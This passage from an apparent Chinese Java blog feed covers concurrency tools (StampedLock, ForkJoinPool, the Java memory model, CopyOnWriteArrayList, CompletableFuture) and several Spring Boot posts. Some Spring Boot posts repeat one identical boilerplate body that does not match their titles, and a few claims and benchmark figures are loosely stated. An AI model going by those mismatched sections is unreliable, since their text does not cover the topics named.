        for (int i = 0; i < size; i++) {
            pool.add(createConnection());
        }
    }
    
    public Connection borrow() throws InterruptedException {
        semaphore.acquire();
        return pool.take();
    }
    
    public void release(Connection conn) {
        pool.offer(conn);
        semaphore.release();
    }
}

三者的选择

场景工具类
主线程等待多个子线程完成CountDownLatch
多线程互相等待（分阶段执行）CyclicBarrier
限制并发访问数量Semaphore

总结

CountDownLatch、CyclicBarrier 和 Semaphore 都是基于 AQS 实现的同步工具：

  • CountDownLatch：倒计时，用于等待事件完成
  • CyclicBarrier：循环栅栏，用于多线程阶段同步
  • Semaphore：信号量，用于控制并发数量

理解它们的实现原理和适用场景，可以优雅地解决多线程协作问题。

]]> Java并发 Java 并发 Spring Boot 日志配置和链路排查 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ Spring Boot 日志配置和链路排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot StampedLock与读写锁优化 //stampedlock-yu-du-xie-suo-you-hua/ StampedLock与读写锁优化

StampedLock 是 Java 8 引入的新型锁，相比 ReentrantReadWriteLock 提供了乐观读能力，在读多写少的场景下性能更优。

三种锁模式

public class StampedLock implements java.io.Serializable {
    // 写锁
    public long writeLock();
    public void unlockWrite(long stamp);
    
    // 悲观读锁
    public long readLock();
    public void unlockRead(long stamp);
    
    // 乐观读
    public long tryOptimisticRead();
    public boolean validate(long stamp);
}

ReentrantReadWriteLock 回顾

public class Point {
    private double x, y;
    private final ReadWriteLock rwl = new ReentrantReadWriteLock();
    private final Lock r = rwl.readLock();
    private final Lock w = rwl.writeLock();
    
    public double distance() {
        r.lock();
        try {
            return Math.sqrt(x * x + y * y);
        } finally {
            r.unlock();
        }
    }
    
    public void move(double dx, double dy) {
        w.lock();
        try {
            x += dx;
            y += dy;
        } finally {
            w.unlock();
        }
    }
}

缺点：读锁会阻塞写锁，读操作频繁时写操作可能饥饿。

StampedLock 乐观读

基本用法

public class Point {
    private double x, y;
    private final StampedLock sl = new StampedLock();
    
    // 乐观读
    public double distanceFromOrigin() {
        long stamp = sl.tryOptimisticRead();  // 获取乐观读戳
        double currentX = x;
        double currentY = y;
        
        // 验证期间是否有写操作
        if (!sl.validate(stamp)) {
            // 有冲突，升级为悲观读锁
            stamp = sl.readLock();
            try {
                currentX = x;
                currentY = y;
            } finally {
                sl.unlockRead(stamp);
            }
        }
        
        return Math.sqrt(currentX * currentX + currentY * currentY);
    }
    
    // 写操作
    public void move(double dx, double dy) {
        long stamp = sl.writeLock();
        try {
            x += dx;
            y += dy;
        } finally {
            sl.unlockWrite(stamp);
        }
    }
}

锁升级

public void transform(double dx, double dy) {
    long stamp = sl.readLock();  // 先获取读锁
    try {
        while (x == 0.0 && y == 0.0) {
            long ws = sl.tryConvertToWriteLock(stamp);  // 尝试升级为写锁
            if (ws != 0L) {
                stamp = ws;
                x = dx;
                y = dy;
                break;
            } else {
                sl.unlockRead(stamp);
                stamp = sl.writeLock();  // 直接获取写锁
            }
        }
    } finally {
        sl.unlock(stamp);  // 统一释放
    }
}

三种模式对比

特性ReentrantReadWriteLockStampedLock
读锁阻塞写阻塞写（悲观读）
乐观读不支持支持（不阻塞写）
重入支持不支持
条件变量支持不支持
性能一般读多写少时更好
中断支持乐观读不支持

性能测试

public class LockPerformance {
    public static void main(String[] args) {
        // 读:写 = 100:1 场景
        testReadWriteLock();
        testStampedLock();
    }
}

结果：

  • 读多写少（100:1）：StampedLock 比 ReadWriteLock 快 5~10 倍
  • 读写均衡：性能相近
  • 写多读少：ReadWriteLock 略优

使用陷阱

1. 不可重入

public void methodA() {
    long stamp = lock.readLock();
    try {
        methodB();  // 同一线程再次获取锁会死锁！
    } finally {
        lock.unlockRead(stamp);
    }
}

public void methodB() {
    long stamp = lock.readLock();  // 死锁！
    // ...
}

2. 乐观读validate后不能再用旧数据

long stamp = lock.tryOptimisticRead();
int value = data.get();

// ... 其他操作 ...

if (lock.validate(stamp)) {
    // 错误！validate后value可能已被修改
    return value * 2;
}

3. 忘记验证

long stamp = lock.tryOptimisticRead();
// 直接读取，没有validate！
return x + y;

4. 锁升级问题

// 错误：先获取读锁，另一个线程获取写锁，尝试升级会死锁
long stamp = lock.readLock();
try {
    if (needWrite) {
        // 如果有其他线程持有写锁，这里会死锁
        long ws = lock.tryConvertToWriteLock(stamp);
    }
} finally {
    lock.unlockRead(stamp);
}

最佳实践

1. 读多写少才用乐观读

public class OptimizedCache {
    private final StampedLock lock = new StampedLock();
    private Map<String, Object> cache = new HashMap<>();
    
    public Object get(String key) {
        long stamp = lock.tryOptimisticRead();
        Object value = cache.get(key);
        
        if (!lock.validate(stamp)) {
            stamp = lock.readLock();
            try {
                value = cache.get(key);
            } finally {
                lock.unlockRead(stamp);
            }
        }
        
        return value;
    }
    
    public void put(String key, Object value) {
        long stamp = lock.writeLock();
        try {
            cache.put(key, value);
        } finally {
            lock.unlockWrite(stamp);
        }
    }
}

2. 快速路径 + 慢速路径

public double read() {
    // 快速路径：乐观读
    long stamp = sl.tryOptimisticRead();
    double result = doRead();
    if (sl.validate(stamp)) {
        return result;  // 成功，直接返回
    }
    
    // 慢速路径：悲观读
    stamp = sl.readLock();
    try {
        return doRead();
    } finally {
        sl.unlockRead(stamp);
    }
}

3. 不要混合使用不同锁

// 错误：混用StampedLock和内置锁
private final StampedLock sl = new StampedLock();
private final Object lock = new Object();

总结

场景推荐锁
读多写少 + 无需重入StampedLock（乐观读）
需要重入ReentrantReadWriteLock
需要条件变量ReentrantReadWriteLock
写多读少ReentrantReadWriteLock

StampedLock 是读多写少场景的利器，但使用复杂度较高。只有在确实需要极致读性能时，才值得使用它。

]]> Java并发 Java 并发 Spring Boot 参数校验和返回值封装 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ Spring Boot 参数校验和返回值封装

参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot ForkJoinPool工作窃取算法 //forkjoinpool-gong-zuo-qie-qu-suan-fa/ ForkJoinPool工作窃取算法

ForkJoinPool 是 Java 7 引入的专为分治任务设计的线程池，采用工作窃取（Work-Stealing）算法。本文深入解析其原理和应用。

核心设计

工作窃取算法

线程A（繁忙）          线程B（空闲）
Deque: [T1, T2, T3]   Deque: []
       ↓                     ↓
       T1执行中              从线程A尾部窃取T3

特点：

  • 每个线程维护一个双端队列（Deque）
  • 自己从队列头部取任务执行
  • 空闲线程从其他线程队列尾部窃取任务
  • 减少线程间的竞争（头部 vs 尾部）

ForkJoinTask

RecursiveAction（无返回值）

public class PrintTask extends RecursiveAction {
    private static final int THRESHOLD = 10;
    private int start;
    private int end;
    
    public PrintTask(int start, int end) {
        this.start = start;
        this.end = end;
    }
    
    @Override
    protected void compute() {
        if (end - start <= THRESHOLD) {
            // 直接执行
            for (int i = start; i < end; i++) {
                System.out.println(Thread.currentThread().getName() + ": " + i);
            }
        } else {
            // 拆分任务
            int mid = (start + end) / 2;
            PrintTask left = new PrintTask(start, mid);
            PrintTask right = new PrintTask(mid, end);
            
            invokeAll(left, right);  // 并行执行子任务
        }
    }
}

// 使用
ForkJoinPool pool = new ForkJoinPool();
pool.submit(new PrintTask(0, 100));
pool.shutdown();

RecursiveTask（有返回值）

public class SumTask extends RecursiveTask<Long> {
    private static final int THRESHOLD = 10000;
    private long[] array;
    private int start;
    private int end;
    
    public SumTask(long[] array, int start, int end) {
        this.array = array;
        this.start = start;
        this.end = end;
    }
    
    @Override
    protected Long compute() {
        if (end - start <= THRESHOLD) {
            long sum = 0;
            for (int i = start; i < end; i++) {
                sum += array[i];
            }
            return sum;
        }
        
        int mid = (start + end) / 2;
        SumTask left = new SumTask(array, start, mid);
        SumTask right = new SumTask(array, mid, end);
        
        left.fork();   // 异步执行左任务
        long rightSum = right.compute();  // 同步执行右任务
        long leftSum = left.join();       // 等待左任务结果
        
        return leftSum + rightSum;
    }
}

常用方法

方法说明
fork()异步执行任务
join()等待任务完成并获取结果
invoke()执行任务并等待结果（fork+join）
invokeAll()并行执行多个任务
compute()直接执行任务

最佳实践：fork + compute + join

// 好的模式
left.fork();
rightResult = right.compute();
leftResult = left.join();

// 避免两个fork
left.fork();
right.fork();      // 多了任务入队开销
leftResult = left.join();
rightResult = right.join();

与 Stream 的集成

parallelStream 的实现

List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5);

numbers.parallelStream()
    .map(n -> n * n)
    .collect(Collectors.toList());

底层：使用 ForkJoinPool.commonPool() 执行并行操作。

// 获取 common pool
ForkJoinPool commonPool = ForkJoinPool.commonPool();
// 默认线程数 = CPU核心数 - 1

自定义并行流线程池

// Java 8 中parallelStream无法指定线程池
// 需要使用CompletableFuture
ForkJoinPool customPool = new ForkJoinPool(4);
try {
    return customPool.submit(() ->
        numbers.parallelStream().map(...).collect(...)
    ).get();
} catch (Exception e) {
    e.printStackTrace();
} finally {
    customPool.shutdown();
}

注意事项

1. 任务粒度

// 错误：任务太小，拆分开销 > 执行开销
if (end - start <= 1) { ... }  // 粒度太细

// 正确：根据实际测试调整阈值
if (end - start <= 10000) { ... }  // 合理的阈值

2. 避免阻塞操作

// 错误：在ForkJoinTask中阻塞
public class BadTask extends RecursiveTask<String> {
    protected String compute() {
        return callExternalAPI();  // 阻塞HTTP调用！
    }
}

// 正确：ForkJoinPool适合计算密集型任务

3. 避免共享可变状态

// 错误：并发修改共享变量
private int sum = 0;

protected Integer compute() {
    sum += localSum;  // 非线程安全
    return sum;
}

// 正确：每个任务返回局部结果，最后合并
protected Integer compute() {
    int localSum = calculate();
    return localSum;
}

性能对比

public class PerformanceTest {
    public static void main(String[] args) {
        long[] array = new long[100_000_000];
        Arrays.fill(array, 1);
        
        // 单线程
        long start1 = System.currentTimeMillis();
        long sum1 = Arrays.stream(array).sum();
        System.out.println("单线程: " + (System.currentTimeMillis() - start1) + "ms");
        
        // ForkJoin
        long start2 = System.currentTimeMillis();
        ForkJoinPool pool = new ForkJoinPool();
        long sum2 = pool.invoke(new SumTask(array, 0, array.length));
        System.out.println("ForkJoin: " + (System.currentTimeMillis() - start2) + "ms");
        
        // parallelStream
        long start3 = System.currentTimeMillis();
        long sum3 = Arrays.stream(array).parallel().sum();
        System.out.println("parallelStream: " + (System.currentTimeMillis() - start3) + "ms");
    }
}

结果（8核 CPU）：

  • 单线程：~150ms
  • ForkJoin：~30ms（5倍提升）
  • parallelStream：~35ms

适用场景

场景是否适合
大规模数组求和/排序适合
递归树遍历适合
MapReduce 计算适合
阻塞 IO 操作不适合
任务依赖复杂不适合
数据量小不适合

总结

ForkJoinPool 通过工作窃取算法，在计算密集型任务中实现了优异的并行性能：

  1. 分解：大任务拆分为小任务
  2. 执行：线程从自己的队列头部取任务
  3. 窃取：空闲线程从其他队列尾部偷任务
  4. 合并：汇总子任务结果

正确使用 ForkJoinPool，可以充分利用多核 CPU 的计算能力。

]]> Java并发 Java 并发 Java内存模型JMM与HappensBefore //java-nei-cun-mo-xing-jmm-yu-happensbefore/ Java内存模型JMM与HappensBefore

Java 内存模型（JMM）定义了多线程环境下共享变量的访问规则，是理解并发编程的理论基础。

JMM 抽象结构

主内存与工作内存

     主内存（Shared Memory）
     ┌─────────────────┐
     │   x = 0         │
     │   y = 0         │
     └─────────────────┘
            ▲    │
      read │    │ write
      load │    │ store
            │    ▼
┌───────────┐    ┌───────────┐
│ 线程A     │    │ 线程B     │
│ 工作内存   │    │ 工作内存   │
│ x = ?     │    │ x = ?     │
└───────────┘    └───────────┘
  • 主内存：所有共享变量的存储区域
  • 工作内存：每个线程的私有拷贝

内存交互操作

操作作用
lock锁定主内存变量
unlock解锁主内存变量
read从主内存读取到工作内存
load将 read 的值放入工作内存变量
use使用工作内存变量值
assign给工作内存变量赋值
store将工作内存变量值传送到主内存
write将 store 的值写入主内存变量

Happens-Before 规则

Happens-Before 是 JMM 中保证可见性的核心概念：如果 A happens-before B，那么 A 的结果对 B 可见。

1. 程序次序规则

一个线程内，前面的操作 happens-before 后面的操作。

int a = 1;      // (1)
int b = 2;      // (2)

// (1) happens-before (2)
// 但JMM允许重排序，只要不改变单线程执行结果

2. 监视器锁规则

解锁 happens-before 后面对同一锁的加锁。

synchronized (lock) {
    x = 1;      // 解锁前
}
                // happens-before
synchronized (lock) {
    int y = x;  // 加锁后，保证看到x=1
}

3. volatile 规则

volatile 写 happens-before 后面对同一变量的 volatile 读。

volatile int x;

// 线程A
x = 1;          // volatile写

// 线程B
int y = x;      // volatile读，保证看到x=1

4. 线程启动规则

Thread.start() happens-before 线程内的所有操作。

int x = 1;
Thread t = new Thread(() -> {
    int y = x;  // 保证看到x=1
});
t.start();

5. 线程终止规则

线程内的所有操作 happens-before 检测到线程终止。

Thread t = new Thread(() -> {
    x = 1;      // 线程内操作
});
t.start();
t.join();       // 等待线程结束
int y = x;      // 保证看到x=1

6. 中断规则

interrupt() happens-before 检测到中断。

thread.interrupt();

// 线程内
if (Thread.interrupted()) {
    // 能检测到中断
}

7. 对象终结规则

构造函数执行 happens-before finalize()。

public class Resource {
    private final int value;
    
    public Resource(int v) {
        this.value = v;  // happens-before finalize()
    }
    
    @Override
    protected void finalize() {
        System.out.println(value);  // 保证看到正确值
    }
}

8. 传递性

如果 A happens-before B，B happens-before C，那么 A happens-before C。

volatile int x;
int y;

// 线程A
y = 1;          // (1)
x = 2;          // (2) volatile写

// 线程B
int a = x;      // (3) volatile读，看到x=2
int b = y;      // (4) 由于(1)hb(2), (2)hb(3), 所以(1)hb(4)，看到y=1

as-if-serial 语义

单线程程序的执行结果必须与按程序顺序执行的结果一致，编译器和处理器可以进行不影响单线程结果的优化。

int a = 1;      // (1)
int b = 2;      // (2)
int c = a + b;  // (3)

// (1)和(2)可以重排序，因为(3)依赖它们
// 但(3)不能重排序到(1)或(2)之前

重排序的类型

1. 编译器重排序

编译器在不改变单线程语义的前提下调整指令顺序。

2. 指令级并行重排序

处理器利用指令级并行技术改变指令执行顺序。

3. 内存系统重排序

由于缓存和缓冲，存储操作看起来是按不同的顺序完成的。

内存屏障

JMM 通过内存屏障限制重排序：

屏障类型示例作用
LoadLoadLoad1; LoadLoad; Load2禁止Load1和Load2重排序
StoreStoreStore1; StoreStore; Store2Store1必须在Store2之前
LoadStoreLoad1; LoadStore; Store2Load1必须在Store2之前
StoreLoadStore1; StoreLoad; Load2Store1必须在Load2之前，全能屏障

volatile 的内存屏障

// volatile写
StoreStore屏障  // 前面的普通写不能重排序到后面
write volatile
StoreLoad屏障   // 防止volatile写与后面的读重排序

// volatile读
LoadLoad屏障    // 防止后面的普通读重排序到前面
LoadStore屏障   // 防止后面的普通写重排序到前面
read volatile

双重检查锁定的正确实现

public class Singleton {
    private static volatile Singleton instance;
    
    public static Singleton getInstance() {
        if (instance == null) {                    // (1)
            synchronized (Singleton.class) {
                if (instance == null) {
                    instance = new Singleton();    // (2) volatile写
                }
            }
        }
        return instance;                           // (3) volatile读
    }
}

为什么需要 volatile？

new Singleton() 分三步：

  1. 分配内存
  2. 初始化对象
  3. 赋值给引用

步骤 2 和 3 可能重排序。没有 volatile：

  • 线程 A 执行到 3 但未完成 2
  • 线程 B 在 (1) 看到非 null，返回未初始化的对象

volatile 禁止了这种重排序，保证线程安全。

总结

JMM 通过 Happens-Before 规则定义了内存可见性的保证：

  1. 无需同步：单线程内的 happens-before 关系自然成立
  2. synchronized/volatile：显式建立 happens-before
  3. 线程启动/终止：Thread 类的方法隐式建立 happens-before

理解 JMM 和 happens-before，是写出正确并发代码的理论基础。

]]> Java并发 Java 并发 Spring Boot 统一异常处理实践 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ Spring Boot 统一异常处理实践

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 配置分环境的标准做法 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ Spring Boot 配置分环境的标准做法

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot CopyOnWriteArrayList适合什么场景 //copyonwritearraylist-gua-he-shi-me-chang-jing/ CopyOnWriteArrayList适合什么场景

CopyOnWriteArrayList 是 Java 并发包提供的线程安全 List 实现，采用读写分离的乐观锁策略。本文分析其原理和适用场景。

核心思想

写时复制（Copy-On-Write）：读操作不加锁，写操作复制一份新数组进行修改。

public boolean add(E e) {
    final ReentrantLock lock = this.lock;
    lock.lock();
    try {
        Object[] elements = getArray();
        int len = elements.length;
        Object[] newElements = Arrays.copyOf(elements, len + 1);
        newElements[len] = e;
        setArray(newElements);  // volatile写，保证可见性
        return true;
    } finally {
        lock.unlock();
    }
}

public E get(int index) {
    return get(getArray(), index);  // 无锁读
}

源码分析

数据结构

public class CopyOnWriteArrayList<E> {
    private transient volatile Object[] array;  // volatile保证可见性
    
    final Object[] getArray() {
        return array;
    }
    
    final void setArray(Object[] a) {
        array = a;
    }
}

迭代器（快照迭代）

public Iterator<E> iterator() {
    return new COWIterator<E>(getArray(), 0);
}

static final class COWIterator<E> implements ListIterator<E> {
    private final Object[] snapshot;  // 创建迭代器时的数组快照
    private int cursor;
    
    public E next() {
        if (! hasNext()) throw new NoSuchElementException();
        return (E) snapshot[cursor++];
    }
    
    // 不支持修改
    public void remove() {
        throw new UnsupportedOperationException();
    }
}

关键特性：迭代器创建后，即使原列表被修改，迭代器仍然基于创建时的快照遍历。

与 SynchronizedList 对比

特性CopyOnWriteArrayListCollections.synchronizedList
读性能极高（无锁）一般（需获取锁）
写性能差（复制整个数组）一般
内存占用写操作时翻倍正常
数据一致性弱一致性强一致性
迭代器快照，不抛异常快速失败，可能抛异常

适用场景

1. 读多写少

public class ConfigManager {
    private final CopyOnWriteArrayList<ConfigListener> listeners = 
        new CopyOnWriteArrayList<>();
    
    // 注册监听器（写操作，很少发生）
    public void addListener(ConfigListener listener) {
        listeners.add(listener);
    }
    
    // 通知监听器（读操作，频繁发生）
    public void notifyListeners(ConfigChangeEvent event) {
        for (ConfigListener listener : listeners) {  // 无锁遍历
            listener.onConfigChange(event);
        }
    }
}

2. 事件监听器列表

public class Button {
    private final CopyOnWriteArrayList<ActionListener> listeners = 
        new CopyOnWriteArrayList<>();
    
    public void addActionListener(ActionListener l) {
        listeners.add(l);
    }
    
    public void click() {
        ActionEvent event = new ActionEvent(this);
        for (ActionListener l : listeners) {
            l.actionPerformed(event);  // 遍历时可以安全地添加/移除监听器
        }
    }
}

3. 配置项缓存

public class Blacklist {
    private final CopyOnWriteArrayList<String> ips = 
        new CopyOnWriteArrayList<>();
    
    // 定时从数据库加载（低频写）
    @Scheduled(fixedRate = 60000)
    public void refresh() {
        List<String> newIps = loadFromDB();
        ips.clear();
        ips.addAll(newIps);  // 注意：这里效率不高
    }
    
    // 高频读
    public boolean isBlocked(String ip) {
        return ips.contains(ip);
    }
}

不适用场景

1. 写操作频繁

// 错误！每次写都复制数组，性能极差
CopyOnWriteArrayList<String> list = new CopyOnWriteArrayList<>();
for (int i = 0; i < 10000; i++) {
    list.add("item" + i);  // O(n) 每次！
}

2. 内存敏感

// 错误！大列表复制时内存翻倍
CopyOnWriteArrayList<byte[]> largeList = new CopyOnWriteArrayList<>();

3. 需要强一致性

// 错误！读可能读到旧数据
CopyOnWriteArrayList<Integer> list = new CopyOnWriteArrayList<>();
list.add(1);
// 其他线程可能暂时读不到1

最佳实践

1. 初始化容量

// 如果预知大致大小，可以减少扩容复制
CopyOnWriteArrayList<String> list = new CopyOnWriteArrayList<>();

注意：CopyOnWriteArrayList 没有指定初始容量的构造函数，因为写操作总是复制。

2. 批量添加优化

// 差：多次复制
for (String item : items) {
    list.add(item);
}

// 好：先构建数组，一次性替换（需要自定义）

3. 使用 Set 去重版本

// CopyOnWriteArraySet 基于 CopyOnWriteArrayList
CopyOnWriteArraySet<String> set = new CopyOnWriteArraySet<>();

性能测试

public class PerformanceTest {
    public static void main(String[] args) {
        int readCount = 1000000;
        int writeCount = 100;
        
        // CopyOnWriteArrayList：读快，写慢
        testCopyOnWrite(readCount, writeCount);
        
        // synchronizedList：读写均衡
        testSynchronized(readCount, writeCount);
    }
}

结果（1000个元素）：

  • 读操作：CopyOnWriteArrayList 比 SynchronizedList 快 10~100 倍
  • 写操作：CopyOnWriteArrayList 比 SynchronizedList 慢 100~1000 倍

总结

场景推荐选择
读多写少（>100:1）CopyOnWriteArrayList
读写均衡ConcurrentLinkedQueue / SynchronizedList
写多读少SynchronizedList
需要阻塞BlockingQueue

CopyOnWriteArrayList 是读多写少场景的理想选择，但务必确认写操作频率足够低，否则会带来严重的性能和内存问题。

]]> Java并发 Java 并发 Bean 生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ Bean 生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring CompletableFuture编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ CompletableFuture编排异步任务

CompletableFuture 是 Java 8 引入的异步编程工具，支持函数式组合、链式调用和异常处理。本文全面讲解其使用方法。

创建 CompletableFuture

直接创建

// 已完成
CompletableFuture<String> completed = CompletableFuture.completedFuture("value");

// 异步执行（默认ForkJoinPool）
CompletableFuture<String> future = CompletableFuture.supplyAsync(() -> {
    return fetchData();
});

// 异步执行（自定义线程池）
ExecutorService executor = Executors.newFixedThreadPool(10);
CompletableFuture<String> future = CompletableFuture.supplyAsync(() -> {
    return fetchData();
}, executor);

// 无返回值
CompletableFuture<Void> runFuture = CompletableFuture.runAsync(() -> {
    doSomething();
});

串行组合

thenApply：转换结果

CompletableFuture<String> future = CompletableFuture.supplyAsync(() -> "100");

CompletableFuture<Integer> result = future.thenApply(Integer::parseInt)
    .thenApply(n -> n * 2);

// 结果: 200

thenAccept：消费结果

future.thenAccept(result -> {
    System.out.println("结果: " + result);
});

thenRun：不依赖结果

future.thenRun(() -> {
    System.out.println("任务完成，执行清理");
});

异步版本

future.thenApplyAsync(...)      // 使用默认线程池
future.thenApplyAsync(..., executor)  // 使用指定线程池

并行组合

thenCombine：合并两个结果

CompletableFuture<String> future1 = CompletableFuture.supplyAsync(() -> "Hello");
CompletableFuture<String> future2 = CompletableFuture.supplyAsync(() -> "World");

CompletableFuture<String> combined = future1.thenCombine(future2, (f1, f2) -> f1 + " " + f2);
// 结果: "Hello World"

thenAcceptBoth：消费两个结果

future1.thenAcceptBoth(future2, (f1, f2) -> {
    System.out.println(f1 + f2);
});

runAfterBoth：两个都完成后执行

future1.runAfterBoth(future2, () -> {
    System.out.println("两个任务都完成了");
});

选择最快的

applyToEither：获取最快结果

CompletableFuture<String> fast = CompletableFuture.supplyAsync(() -> {
    sleep(100);
    return "from API 1";
});

CompletableFuture<String> slow = CompletableFuture.supplyAsync(() -> {
    sleep(200);
    return "from API 2";
});

CompletableFuture<String> winner = fast.applyToEither(slow, result -> result);
// 返回 "from API 1"

多任务组合

allOf：全部完成

CompletableFuture<String> f1 = fetchUser();
CompletableFuture<String> f2 = fetchOrder();
CompletableFuture<String> f3 = fetchInventory();

CompletableFuture<Void> all = CompletableFuture.allOf(f1, f2, f3);

// 等待全部完成
all.thenRun(() -> {
    // 注意：allOf返回Void，需要单独获取结果
    String user = f1.join();
    String order = f2.join();
    String inventory = f3.join();
});

anyOf：任意完成

CompletableFuture<Object> any = CompletableFuture.anyOf(f1, f2, f3);
any.thenAccept(result -> {
    System.out.println("最先完成的是: " + result);
});

异常处理

exceptionally：捕获异常并恢复

CompletableFuture<String> future = CompletableFuture.supplyAsync(() -> {
    if (true) throw new RuntimeException("错误");
    return "success";
}).exceptionally(ex -> {
    System.out.println("异常: " + ex.getMessage());
    return "default";
});
// 结果: "default"

handle：统一处理正常和异常结果

CompletableFuture<String> future = CompletableFuture.supplyAsync(() -> {
    return "success";
}).handle((result, ex) -> {
    if (ex != null) {
        return "Error: " + ex.getMessage();
    }
    return result.toUpperCase();
});

whenComplete：副作用处理

CompletableFuture<String> future = CompletableFuture.supplyAsync(() -> {
    return fetchData();
}).whenComplete((result, ex) -> {
    if (ex != null) {
        log.error("获取失败", ex);
    } else {
        log.info("获取成功: {}", result);
    }
});

实战场景

1. 电商下单流程

public CompletableFuture<Order> createOrder(CreateOrderRequest request) {
    return checkInventory(request.getSkuId(), request.getQuantity())
        .thenCompose(hasStock -> {
            if (!hasStock) {
                throw new OutOfStockException();
            }
            return calculatePrice(request);
        })
        .thenCompose(price -> deductStock(request).thenApply(v -> price))
        .thenCompose(price -> createOrderRecord(request, price))
        .thenCompose(order -> sendPaymentMessage(order).thenApply(v -> order))
        .exceptionally(ex -> {
            log.error("下单失败", ex);
            throw new OrderException(ex);
        });
}

2. 并行查询聚合

public CompletableFuture<UserProfile> getUserProfile(Long userId) {
